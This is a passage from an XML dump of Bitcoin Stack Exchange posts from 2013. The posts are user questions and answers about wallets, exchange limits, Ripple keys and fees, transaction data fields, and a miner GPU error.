Bitcoin wallet yourself can sometimes be some hassle, while e-wallets can offer you extended functionality and features.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You will need to download and sync the complete block chain, which takes around 9 GiB or storage. There are also clients that don't require you to do this, but still they have to sync all the time and use network bandwidth.&lt;/li&gt;&#xA;&lt;li&gt;You will need to worry about backups. You can trust Coinbase for taking backups regularly. If you want your own wallet to be safe, however, you will have to backup them yourself.&lt;/li&gt;&#xA;&lt;li&gt;Much e-wallets like Coinbase offer extra functionality, like links to information on blocks, transactions and addresses. Also many of them have a Mobile App that you can use to access your wallet with.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-25T11:21:59.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10212" PostTypeId="2" ParentId="10195" CreationDate="2013-04-25T13:53:35.890" Score="5" Body="&lt;p&gt;This situation would not exist. True market orders (buy or sell) cannot just &quot;hang&quot; around. If they are not executed immediately against existing limit orders, then they should be cancelled. The case in which they would not be executed would be if there are no orders on the other side. In which case it depends on how the system handles the orders but it should either say it can't fill it and never place the order to begin with.&lt;/p&gt;&#xA;" OwnerUserId="4083" LastActivityDate="2013-04-25T13:53:35.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10213" PostTypeId="2" ParentId="10180" CreationDate="2013-04-25T14:09:00.530" Score="-3" Body="&lt;p&gt;&quot;(Ripple can not be attacked by 51% attack&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That statement is wrong i would believe? Ripple is run by one single entity; the ones who made ripple. Ripple is then technically NOT decentralized like bitcoin. Ripple would then be incredibly weak against external violence that could want to stop or damage their service. Like mean men with guns from a invading government. Invading government could be our own government gone rouge or a foreign government invading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin on the other hand is decentralized and extremely resillient towards any such force of external violence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple is also pre-mined, and all coins are in the hands of the ones who made ripple, unlike bitcoin which coins are rewarded randomly to the miners. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple can then shortly put be equally (dis)trusted as much as any other already central-governmental issued fiat currency. &lt;/p&gt;&#xA;" OwnerUserId="3796" LastActivityDate="2013-04-25T14:09:00.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10215" PostTypeId="2" ParentId="10206" CreationDate="2013-04-25T16:17:04.647" Score="3" Body="&lt;p&gt;There is no reason to use Coinbase as a wallet just because you use Coinbase as an exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase does provide an online wallet and if you want to keep things simple, feel free to use it. But your question really boils down to which wallet should you use, since there is no significant advantage to using a wallet just because it's provided by your exchange other than reducing the number of passwords you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steven Roose's answer goes into the details of whether you should choose an online wallet (similar to Coinbase) or run a wallet on your computer. If you decide to use an online wallet, Coinbase is just one of several choices. Coinbase's wallet is very simplistic, but if you are new to Bitcoin you may not care. Coinbase's wallet does have the advantage of allowing you to make instant purchases at places that use Coinbase's payment system.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-25T16:17:04.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10216" PostTypeId="1" AcceptedAnswerId="10340" CreationDate="2013-04-25T16:30:10.477" Score="3" ViewCount="828" Body="&lt;p&gt;I know that bitinstant limits individual trades to 3 digits or $999 per transaction, but they make no mention in their &lt;a href=&quot;https://www.bitinstant.com/faq&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt; about the size of the daily limit they impose. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone knew the exact number?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I think this number may vary depending on where your sending money from, however I'm specifically interested in the limit regarding sending money from mtgox to bitstamp and vice versa. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I emailed them and they confirmed that the limit is in fact $2000 per day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Since this question bitinstant has updated their service. You can now be verified by sending in a photo idea and have your limit upped to $10,000 per day.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-06-11T20:22:19.453" LastActivityDate="2013-06-11T20:22:19.453" Title="What is the daily transaction limit for Bitinstant?" Tags="|transactions|bitinstant|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10217" PostTypeId="2" ParentId="10203" CreationDate="2013-04-25T16:38:54.707" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1&quot; rel=&quot;nofollow&quot;&gt;Mt. Gox API&lt;/a&gt; allows you to do these things. It allows you to create &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#get_a_bitcoin_deposit_address&quot; rel=&quot;nofollow&quot;&gt;new deposit adresses&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#Withdraw_bitcoins&quot; rel=&quot;nofollow&quot;&gt;withdraw/deposit&lt;/a&gt; money into existing ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the API dosent actually have something to tell you when your specific order has been executed, you can get a list of your open orders and compare those against a local listing of placed orders to determine which have been executed. However their &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming&quot; rel=&quot;nofollow&quot;&gt;websockets API&lt;/a&gt; will tell you when any trade has been made on the network which you could then check yours against as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another good API solution would be &lt;a href=&quot;https://www.bitstamp.net/api/&quot; rel=&quot;nofollow&quot;&gt;bitstamps&lt;/a&gt; though theirs donsent have a websocket component.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-04-25T16:38:54.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10218" PostTypeId="2" ParentId="10197" CreationDate="2013-04-25T17:28:22.330" Score="3" Body="&lt;p&gt;Benchmark it and see, although be aware that bitcoind has never been optimized for handling thousands of accounts with hundreds of thousands of transactions. In particular, calls like 'getbalance' get slower the more transactions that are in the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happily, there are now other implementations that claim to be better at handling lots of accounts/wallets/transactions.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-04-25T17:28:22.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10219" PostTypeId="1" CreationDate="2013-04-25T19:55:16.063" Score="-1" ViewCount="827" Body="&lt;p&gt;I just learned about BitCoins' existence last 2 weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, I thought BitCoins could be used to process human scientific problems. I know it is not computing any really useful thing right now. I wonder if someone has thought about this? (I mean, in the scientific community and BitCoins community). Maybe integrate Grid computing with BitCoins processing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, due to the nature of the block solving algorithm in Bitcoins, whose purpose is solely to verify length of processing, it cannot solve anything useful. Could someone confirm this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4637" LastEditorUserId="5406" LastEditDate="2016-04-28T14:24:27.060" LastActivityDate="2016-04-28T14:24:27.060" Title="BitCoins to solve human scientific problems" Tags="|mining-theory|" AnswerCount="1" CommentCount="5" ClosedDate="2013-04-26T06:30:53.087" ContentLicense="CC BY-SA 3.0" />
  <row Id="10220" PostTypeId="1" AcceptedAnswerId="10224" CreationDate="2013-04-25T19:58:37.830" Score="4" ViewCount="5739" Body="&lt;p&gt;The Ripple client has both a wallet name/passphrase and a secret key, and to the newbie it's not clear why there are two secrets. The client advises the user to write down the secret key and keep it safe so the funds can be recovered if the wallet is lost. If the funds can be recovered using just the secret key, then why does it have a wallet name/passphrase as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the wallet name/passphrase just for convenience (easy to remember)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't the wallet name/passphrase be changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not generate the secret key from the wallet name/passphrase so that the user has only one secret to keep safe?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2018-04-28T20:19:26.240" Title="What is the relationship between the Ripple secret key and the wallet name/passphrase?" Tags="|ripple|ripple-client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10221" PostTypeId="2" ParentId="10219" CreationDate="2013-04-25T20:16:59.040" Score="1" Body="&lt;p&gt;Bitcoin mining calculation is simply &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5671/how-do-you-perform-double-sha-256-encoding&quot;&gt;double SHA256 hashing&lt;/a&gt; and has no other known application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hashing algorithm is highly unlikely ever to change, although there are other digital cryptocurrencies that use another mining algorithm. Litecoin, for example, uses &lt;code&gt;scrypt&lt;/code&gt; hashing in place of &lt;code&gt;sha256&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-04-25T20:16:59.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10222" PostTypeId="2" ParentId="10131" CreationDate="2013-04-25T20:34:39.777" Score="5" Body="&lt;p&gt;I have a 2012 Macbook Pro mining Litecoins (CPU&amp;amp;GPU at a combined 80kHash/s) and a 2011 iMac (71MHash/s on its HD5670) mining BTC. They both run overnight and on weekends, I turn the mining software off over the weekday. Doing this for months now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, there were no overheating problems, but i have an extra cooling stand for the Macbook, which i would recommend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, I expect the hardware to die sooner. The heat management in Apple machines is very delicate because of the case design, and I heard of people waking up to a dead iMac.&lt;/p&gt;&#xA;" OwnerUserId="4638" LastActivityDate="2013-04-25T20:34:39.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10223" PostTypeId="1" AcceptedAnswerId="10537" CreationDate="2013-04-25T20:55:07.883" Score="6" ViewCount="667" Body="&lt;p&gt;Everything I've read so far suggests that a Ripple &quot;gateway&quot; is just like a bank. How is it different than a conventional bank?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have a bank of banks (central bank) in Ripple?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2014-01-01T22:42:26.903" Title="How is a Ripple gateway different than a conventional bank?" Tags="|ripple|banks|ripple-gateways|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10224" PostTypeId="2" ParentId="10220" CreationDate="2013-04-25T21:23:01.527" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the wallet name/passphrase just for convenience (easy to remember)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. Because anyone trying to steal your funds would first have to get hold of your wallet file before he could use the passphrase, it doesn't have to be quite as secure as the secret.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why can't the wallet name/passphrase be changed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because then you'd have two passphrases you'd have to keep secure forever to protect your account. The decrypted wallet yields the secret and the secret owns the account. There's generally no way to be sure you've destroyed every copy of your wallet.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why not generate the secret key from the wallet name/passphrase so that the user has only one secret to keep safe?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That would defeat the point of the passphrase because it would no longer be able to be any less secure than the secret. Anyone could try common name / passphrase combinations at a very high rate to see if any of them matched existing accounts.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-25T21:23:01.527" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10225" PostTypeId="2" ParentId="10220" CreationDate="2013-04-25T22:23:23.467" Score="1" Body="&lt;p&gt;The wallet name/passphrase is the key to the wallet file. The wallet file contains the secret key. The secret key is the key to the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you lose the wallet file, you can still access your funds with the secret key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you lose the secret key, it's there in the wallet file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you lose both the wallet file and the secret key, then you've lost access to your funds.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-04-25T22:23:23.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10226" PostTypeId="1" AcceptedAnswerId="10304" CreationDate="2013-04-25T22:41:05.857" Score="2" ViewCount="3540" Body="&lt;p&gt;If someone wanted to buy up lots of ripples, say a million, how would they go about doing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the exchanges don't seem to give good rates, and trading one-to-one with someone else would be inefficient. Is OpenCoin selling directly? At the current Bitstamp rate, it would cost $4444.44 to buy 1,000,000 XRP.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2019-02-11T14:14:21.767" Title="How to buy a million ripples?" Tags="|ripple|trading|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10227" PostTypeId="1" AcceptedAnswerId="10311" CreationDate="2013-04-25T23:11:44.547" Score="6" ViewCount="740" Body="&lt;p&gt;A transaction is confirmed if 80% of the nodes in the UNL accept it. Where does this 80% number come from? Could it just as well have been 79% or 81%? What about 51%?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can different nodes have different thresholds (for faster transactions, say), or must they all follow the same rule?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-04-27T10:57:57.703" Title="Why does Ripple's consensus process have a 80% threshold?" Tags="|ripple|consensus|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10228" PostTypeId="1" AcceptedAnswerId="10277" CreationDate="2013-04-26T00:00:53.870" Score="3" ViewCount="246" Body="&lt;p&gt;What are the special accounts ACCOUNT_ZERO, ACCOUNT_ONE, and root account? It's not clear from the Ripple wiki what they are meant for. A little explanation would be nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What makes these accounts &quot;special?&quot;&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-04-26T19:02:22.813" Title="What are the special Ripple accounts ACCOUNT_ZERO, ACCOUNT_ONE, and root account?" Tags="|protocol|ripple|bitcoin-core-accounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10229" PostTypeId="1" AcceptedAnswerId="10273" CreationDate="2013-04-26T00:51:27.033" Score="0" ViewCount="448" Body="&lt;p&gt;I'm new to Bitcoin development, and haven't been able to find a good resource for deciphering transaction data. &lt;strong&gt;Could you please explain what the following keys signify?&lt;/strong&gt; For example, what do the &quot;in&quot; and &quot;out&quot; transactions represent, what &lt;code&gt;&quot;n&quot;:&quot;x&quot;&lt;/code&gt;, &lt;code&gt;&quot;prev_out_hash&quot;&lt;/code&gt; means, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find the amount and date of incoming transactions to a given address. I'm using BlockExplorer for getting an address's transactions, but I don't know what to do with that data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;result&quot;:&quot;success&quot;,&#xA;&quot;return&quot;:&#xA;{&#xA; &quot;hash&quot;:&quot;4462c88079cc51972f1bdcb8a4240ee8757b0bb69df828ade051c95ced540fa0&quot;,&#xA; &quot;blocks&quot;:[&quot;000000000000076fa606a7b67c131afc87d24d34114be2863cf24ca3d48139e7&quot;],&#xA; &quot;version&quot;:&quot;1&quot;,&#xA; &quot;size&quot;:&quot;1158&quot;,&#xA;  &quot;in&quot;:&#xA;[{&#xA;  &quot;n&quot;:&quot;0&quot;,&#xA;  &quot;prev_out_hash&quot;:&quot;4578576f49418e69da6d7a1166168bb80a94682f21cca518b6c2451bc64bf858&quot;,&#xA;  &quot;prev_out_n&quot;:&quot;1&quot;,&#xA;  &quot;coinbase&quot;:null,&#xA;  &quot;scriptsig&quot;:&quot;304402201d7eaf891bcda16ea2979694c02e590fea8fc43dc092ee60e5fb2dd756bcb19502205c5be31b772029700d0a43d499932e9c321af1cfbc8745fba6dbbe48fa79bbb501 043a264aac55e23f83b29ac7e7a914584d2aa6c2eb08ea05405f5efc38473183ca4fc075f8144bb78698df1a5be6f4057f1bccc9e1217a5658946bcc4d4f6972c3&quot;,&#xA;  &quot;addr&quot;:&quot;46f740cb9c737111ec91ec235f6877055be7175e&quot;&#xA; },&#xA; {&#xA;  &quot;n&quot;:&quot;1&quot;,&#xA;  &quot;prev_out_hash&quot;:&quot;4feea511029896ff4c31132346a79594fcd0c4e60aab2fa4f527e1395d375488&quot;,&#xA;  &quot;prev_out_n&quot;:&quot;0&quot;,&#xA;  &quot;coinbase&quot;:null,&#xA;  &quot;scriptsig&quot;:&quot;3046022100f3bc0445f629e4e896ced23013d89ba6e6488a6ec21c47df608aaf6d6d212fbb022100d321c4c7f5f33900b8c0efba8ff58a3541e621588f402e167f51968b6ee0bbf201 042157f97a8a78caf6315dbd6d9267b9edd9c1c37cdb211f2bc03703a28eeebaf274efdcff4ef3e3ef4a6b7ccb5d8c17acba941d1a5669c3299f22a0e78e702fdb&quot;,&quot;addr&quot;:&quot;7b0a72820f6e92ccc384dbdecb5584d855ce9416&quot;},&#xA;&#xA; {&#xA;&quot;n&quot;:&quot;2&quot;,&quot;prev_out_hash&quot;:&quot;9adadb88c3075afdce1216b35d27fd5cac9736ce3977778999f9a85105d2ea8f&quot;,&quot;prev_out_n&quot;:&quot;0&quot;,&quot;coinbase&quot;:null,&quot;scriptsig&quot;:&quot;3046022100d63237cca9bf2200c6aa255834e06f9dc5e4e20f1ea7e6678119bb0e4a5a109f022100db37ec795336509fb3a16d1acebfe08523d95e177284149614a6d3384286b27c01 04b16b41dab16cfbf59f1713559795440b98b384dc01656ebaceeec8f6d1463802cb474062b2b8c1de53ab1fe65be0f6213dd61519044e9c1f50291b915fc7fc6e&quot;,&quot;addr&quot;:&quot;2ed7c49f080e9898737276ad802e2067a1d06ab7&quot;},&#xA;  {&#xA;&quot;n&quot;:&quot;3&quot;,&quot;prev_out_hash&quot;:&quot;0e2ed4e4db87ddc9cb54ab3cdcae59762293815d3093c238e42d33248b39e19d&quot;,&quot;prev_out_n&quot;:&quot;1&quot;,&quot;coinbase&quot;:null,&quot;scriptsig&quot;:&quot;3045022100ab501414e7643cc1a78645f544cbcf6411e71e0c21953cd51f7f9933a50538a002201b4c9bac60aa19d659d0686d45bf06c4928c4446269692d88722f57624cdaf1401 048e1e4862c6fee7293f6c7be43a72a375e68395398e4d5da3db06199a35fc46cf51b87f3c6b87caeb81181d630706e23b5679ae8b96ca36701282ae5b49dd99c9&quot;,&quot;addr&quot;:&quot;c74d2e95aeb037297c7b6a232d78c715fa1ab826&quot;},&#xA;  {&#xA;&quot;n&quot;:&quot;4&quot;,&quot;prev_out_hash&quot;:&quot;93c912462daa2a52e108e3424596d56fe2a136d6707a65b6423dee229e317ea1&quot;,&quot;prev_out_n&quot;:&quot;1&quot;,&quot;coinbase&quot;:null,&quot;scriptsig&quot;:&quot;3045022100fe782441b8788ed9297c8fea735701ae0a77081fc748ceee8cde945107f64967022014d51d5bc8d8138b97a657eda6d03ba998810e3e941988da90b82f6d24d8471e01 045f53cf2dbdb3213084efa69ac1dfcd8d97be8073a8b8104feb000513aa048b653f400d23314fc090456078f46a0fc9daabdee57f1ef14c2111b9ddc35255189a&quot;,&quot;addr&quot;:&quot;958bba83ac42ebf055c1724b25bfe5c698abbb51&quot;},&#xA;  {&#xA;   &quot;n&quot;:&quot;5&quot;,&quot;prev_out_hash&quot;:&quot;44a1b493ef6176cced4c02fb97a227b98e5bea0616d9cdd6005bcd6905d667f3&quot;,&quot;prev_out_n&quot;:&quot;1&quot;,&quot;coinbase&quot;:null,&quot;scriptsig&quot;:&quot;30440220132484ad901567d2c52c0b4f3be5263d1d8ed6e76be1398d2bb7c2a1aec5f748022033b907afa05eb075dee9993b8a05c9e40c69e53d65a06cc8a975ff4c4407141e01 04bd5d7feb1884efdccbe8feb8fa9ff57d56272ac5f667bc59cb07a232fbbd9cbabdf54b6bb6ca4c77e0de22cb0f896fa6183e53381861641049f0edee2d64cfe5&quot;,&quot;addr&quot;:&quot;3784c102bbfd34cc7fb6e12c51b5c6177592f267&quot;}],&#xA; &quot;out&quot;:[{&quot;n&quot;:&quot;0&quot;,&#xA; &quot;value&quot;:&#xA;  {&quot;value&quot;:&quot;0.01000712&quot;,&quot;value_int&quot;:&quot;1000712&quot;,&quot;display&quot;:&quot;0.01000712\u00a0BTC&quot;,&quot;display_short&quot;:&quot;0.01\u00a0BTC&quot;,&quot;currency&quot;:&quot;BTC&quot;},&quot;script&quot;:&quot;OP_DUP OP_HASH160 6427f36ed6e5a0cb526a0b0bef1335992326e9a9 OP_EQUALVERIFY OP_CHECKSIG&quot;,&quot;addr&quot;:&quot;6427f36ed6e5a0cb526a0b0bef1335992326e9a9&quot;,&quot;claimed&quot;:&quot;N&quot;},{&quot;n&quot;:&quot;1&quot;,&quot;value&quot;:{&quot;value&quot;:&quot;3.31674208&quot;,&quot;value_int&quot;:&quot;331674208&quot;,&quot;display&quot;:&quot;3.31674208\u00a0BTC&quot;,&quot;display_short&quot;:&quot;3.32\u00a0BTC&quot;,&quot;currency&quot;:&quot;BTC&quot;},&quot;script&quot;:&quot;OP_DUP OP_HASH160 1f27d1fc284143729944ab89823111d2bb63dc46 OP_EQUALVERIFY OP_CHECKSIG&quot;,&quot;addr&quot;:&quot;1f27d1fc284143729944ab89823111d2bb63dc46&quot;,&quot;claimed&quot;:&quot;N&quot;}]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4642" LastActivityDate="2013-04-26T09:28:05.157" Title="What does this transaction data mean?" Tags="|mtgox|blockchain.info|blockexplorer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10230" PostTypeId="1" AcceptedAnswerId="10263" CreationDate="2013-04-26T01:30:37.697" Score="2" ViewCount="534" Body="&lt;p&gt;I've seen this graph pop up around the interwebs, but never with an explicit explanation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/charts/network-deficit&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/network-deficit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how is this metric generated? Is it a comparison of the power and hardware costs versus returns?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="4070" LastEditDate="2013-04-26T01:38:14.087" LastActivityDate="2013-04-26T08:41:45.837" Title="How is Network Deficit Calculated?" Tags="|economic-theory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10231" PostTypeId="2" ParentId="10195" CreationDate="2013-04-26T01:30:42.440" Score="1" Body="&lt;p&gt;Market buy order means buy for whatever is current lowest ask. Market sell order means sell for the current highest bid. Market orders should be executed as long as there is any buyer and seller, but may not be filed for the desired quantity. In the case that there are no limit orders on either side, market maker would establish a spread for profit. In fact, market makers profit from market orders and existing limit orders spread also in ordinary circumstances.&lt;/p&gt;&#xA;" OwnerUserId="4354" LastEditorUserId="4354" LastEditDate="2013-04-26T22:58:33.067" LastActivityDate="2013-04-26T22:58:33.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10233" PostTypeId="2" ParentId="10209" CreationDate="2013-04-26T02:03:25.423" Score="0" Body="&lt;p&gt;How long does the fall last?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's so that when a pool receives a new block, it has to remove all transactions that have been removed in that new block from the pool of transactions it was trying to put in their block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I guess happens (I never wrote or examined any mining software) is that your miner receives a notification that a new block is found and so knows that it makes no sense to continue trying to find a new block because it will contain already-confirmed transactions. It will then wait until the pool received the new block as well, pruned its own transaction pool and started again with distributing work among miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this process can really only take mere seconds.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-26T02:03:25.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10238" PostTypeId="1" AcceptedAnswerId="10269" CreationDate="2013-04-26T02:57:20.683" Score="1" ViewCount="420" Body="&lt;p&gt;The &lt;a href=&quot;https://ripple.com/wiki/Transaction_Fee&quot; rel=&quot;nofollow&quot;&gt;Ripple wiki&lt;/a&gt; says (emphasis added):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the reference transaction should cost 10 millionths of a ripple, the &quot;base fee&quot; should be set to 10. This is the current value. This makes it very simple to adjust fees to keep them sensible -- &lt;strong&gt;just figure out how many millionths of a Ripple the reference transaction should cost&lt;/strong&gt; and set that as the base fee.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, and how does the system figure out what a reference transaction would cost?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great to know how the transaction fee is determined and how it is adjusted in response to deflation (rising value of XRP or falling supply of the units).&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="153" LastEditDate="2013-04-26T08:35:22.093" LastActivityDate="2013-04-26T09:05:50.460" Title="With Ripple, how is base fee (transaction fee) calculated?" Tags="|ripple|ripple-transaction-fees|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10239" PostTypeId="1" AcceptedAnswerId="11101" CreationDate="2013-04-26T03:09:22.347" Score="1" ViewCount="7729" Body="&lt;p&gt;I get this error with &lt;code&gt;BFGMiner&lt;/code&gt;, when running &quot;&lt;code&gt;bfgminer -D -d?&lt;/code&gt;:&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt; [2013-04-25 09:47:31] ft232r_scan: Found 093a:2510 - not a ft232r                    &#xA; [2013-04-25 09:47:31] ft232r_scan: Found 1d6b:0002 - not a ft232r                    &#xA; [2013-04-25 09:47:31] ft232r_scan: Found 1d6b:0002 - not a ft232r                    &#xA; [2013-04-25 09:47:31] ft232r_scan: Found 8087:0020 - not a ft232r                    &#xA; [2013-04-25 09:47:31] ft232r_scan: Found 8087:0020 - not a ft232r                    &#xA; [2013-04-25 09:47:31] Started bfgminer 3.0.1                    &#xA; [2013-04-25 09:47:31] Loaded configuration file /home/geremia/.bfgminer/bfgminer.conf                    &#xA; [2013-04-25 09:47:31] CL Platform 0 vendor: Intel(R) Corporation                    &#xA; [2013-04-25 09:47:31] CL Platform 0 name: Intel(R) OpenCL                    &#xA; [2013-04-25 09:47:31] CL Platform 0 version: OpenCL 1.1 LINUX                    &#xA; [2013-04-25 09:47:31] Error -1: Getting Device IDs (num)                    &#xA; **[2013-04-25 09:47:31] clDevicesNum returned error, no GPUs usable**                    &#xA; [2013-04-25 09:47:31] Not a ZTEX device 093a:2510                    &#xA; [2013-04-25 09:47:31] Not a ZTEX device 1d6b:0002                    &#xA; [2013-04-25 09:47:31] Not a ZTEX device 1d6b:0002                    &#xA; [2013-04-25 09:47:31] Not a ZTEX device 8087:0020                    &#xA; [2013-04-25 09:47:31] Not a ZTEX device 8087:0020                    &#xA; [2013-04-25 09:47:31] Devices detected:                    &#xA; [2013-04-25 09:47:31]   0. CPU 0  (driver: cpu)                    &#xA; [2013-04-25 09:47:31]   1. CPU 1  (driver: cpu)                    &#xA; [2013-04-25 09:47:31]   2. CPU 2  (driver: cpu)                    &#xA; [2013-04-25 09:47:31]   3. CPU 3  (driver: cpu)                    &#xA; 4 devices listed&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my output of &quot;lspci -nn | grep VGA&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;00:02.0 VGA compatible controller [0300]: Intel Corporation Core Processor Integrated Graphics Controller [**8086:0046**] (rev 18)&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can I not mine with an Intel Integrated Graphics Controller?&lt;/strong&gt; thanks&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2017-12-23T19:36:16.103" LastActivityDate="2020-04-03T16:07:40.137" Title="clDevicesNum returned error, no GPUs usable" Tags="|miner-configuration|gpu|bfgminer|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10240" PostTypeId="1" AcceptedAnswerId="10310" CreationDate="2013-04-26T04:31:58.797" Score="1" ViewCount="378" Body="&lt;p&gt;What is the exact procedure for creating more Ripple currency units (XRP) in excess of the default 100 billion that already exist?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2015-11-27T19:08:52.673" Title="How to create more ripples?" Tags="|ripple|money-supply|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
